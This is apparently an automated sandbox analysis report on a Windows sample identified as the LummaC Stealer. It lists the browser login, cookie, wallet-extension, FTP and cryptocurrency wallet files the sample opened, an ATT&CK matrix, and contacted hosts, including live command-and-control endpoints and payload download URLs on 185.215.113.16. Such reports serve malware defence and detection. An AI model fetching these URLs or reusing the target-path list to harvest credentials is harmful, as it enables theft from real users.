Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6948, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6948, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	35 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	35 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	32%	ReversingLabs
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://cook-rain.sbs/apit	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apie	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.97.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.184.228	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_112.6.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_112.6.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_112.6.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_92.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_112.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_112.6.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_112.6.dr, chromecache_113.6.dr, chromecache_76.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://github.com/gewarren	chromecache_112.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2193360244.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://www.mozilla.or	file.exe, 00000000.00000003.2193277052.00000000056EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_112.6.dr	false		high
https://cook-rain.sbs/apit	file.exe, 00000000.00000003.2351489813.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367757416.0000000000A06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_112.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_112.6.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://aka.ms/certhelp	chromecache_104.6.dr, chromecache_92.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000003.2351489813.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2456924205.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367757416.0000000000A06000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_112.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_92.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2193360244.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_112.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_112.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://github.com/adegeo	chromecache_112.6.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://cook-rain.sbs/apie	file.exe, 00000000.00000003.2212130829.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212176892.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223780981.0000000000A1C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223803921.0000000000A24000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212161825.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/js-cookie/js-cookie	chromecache_104.6.dr, chromecache_92.6.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2351489813.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2456924205.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2456676952.00000000005AA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367757416.0000000000A06000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_112.6.dr	false		high
https://channel9.msdn.com/	chromecache_104.6.dr, chromecache_92.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_104.6.dr, chromecache_92.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557121
Start date and time:	2024-11-17 12:34:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 217.20.57.35, 216.58.206.35, 184.28.89.167, 64.233.167.84, 216.58.206.46, 88.221.170.101, 34.104.35.123, 20.44.10.123, 216.58.206.74, 142.250.186.42, 172.217.16.202, 216.58.212.138, 142.250.185.170, 142.250.185.74, 142.250.186.74, 142.250.186.106, 142.250.184.202, 142.250.185.138, 142.250.185.106, 172.217.18.10, 172.217.18.106, 142.250.186.138, 142.250.74.202, 142.250.184.234, 2.19.126.156, 2.19.126.137, 20.42.73.24, 13.74.129.1, 13.107.21.237, 204.79.197.237, 142.250.184.227, 142.250.185.174
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, onedscolprdeus03.eastus.cloudapp.azure.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, onedscolprdcus05.centralus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:35:05	API Interceptor	16x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
13.107.246.67	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse
